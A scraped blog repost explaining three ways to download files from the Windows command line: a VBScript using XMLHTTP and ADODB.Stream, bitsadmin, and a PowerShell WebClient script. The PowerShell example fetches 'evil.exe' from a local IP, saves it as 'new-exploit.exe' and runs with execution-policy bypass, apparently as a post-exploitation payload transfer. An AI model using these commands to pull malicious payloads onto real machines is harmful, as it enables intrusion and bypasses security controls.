windows command shell download file
来源:互联网 发布:小嶋阳菜毕业知乎 编辑:程序博客网 时间:2024/05/16 10:52
[Platform]: windows 2008 x64 standard
How to download a file with windows command shell ?
Method 1
Save the code to a file called “download.vbs”, and execute the following command:
C:\Users\Administrator\Desktop>cscript.exe download.vbs
Code Here:
' Set your settings strFileURL = "http://path/to/file" strHDLocation = "c:\path\local\file" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > download.vbs
Method 2
C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file
Method 3
Download File with powershell.
echo $storageDir = $pwd > wget.ps1echo $webclient = New-Object System.Net.WebClient >> wget.ps1echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1echo $file = "new-exploit.exe" >> wget.ps1echo $webclient.DownloadFile($url, $file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
References
- http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
0 0
- windows command shell download file
- the file command and bash shell
- download file
- Download file from Linux by PSCP in windows
- .NET download file
- NSURLConnection Download File
- Http Download File
- OpenFile Download File
- HTTP file download
- NSURLConnection Download File
- download file in C#
- gwt download file
- httpClient download file(爬虫)
- java download file
- MVC - File download action
- SVN File Download
- Linux download file
- redis file download
- parse_str 与 http_build_query
- c基础+数据结构+线程+冒泡实现--航班查询系统
- 49:Anagrams【哈希】【字符串】
- Linux内核如何装载和启动一个可执行程序
- UIKit框架-高级控件Swift版本: 7.UIActionSheet方法/属性详解
- windows command shell download file
- Arduino 语法手册
- Get,Post请求中文乱码问题有效解决方法
- C做题笔记(一)
- Unity人物三连击Animator实现
- 浅谈指针
- Project Euler Problem 32
- java集合:Collection和Map的介绍
- 系统分析师论文通用格式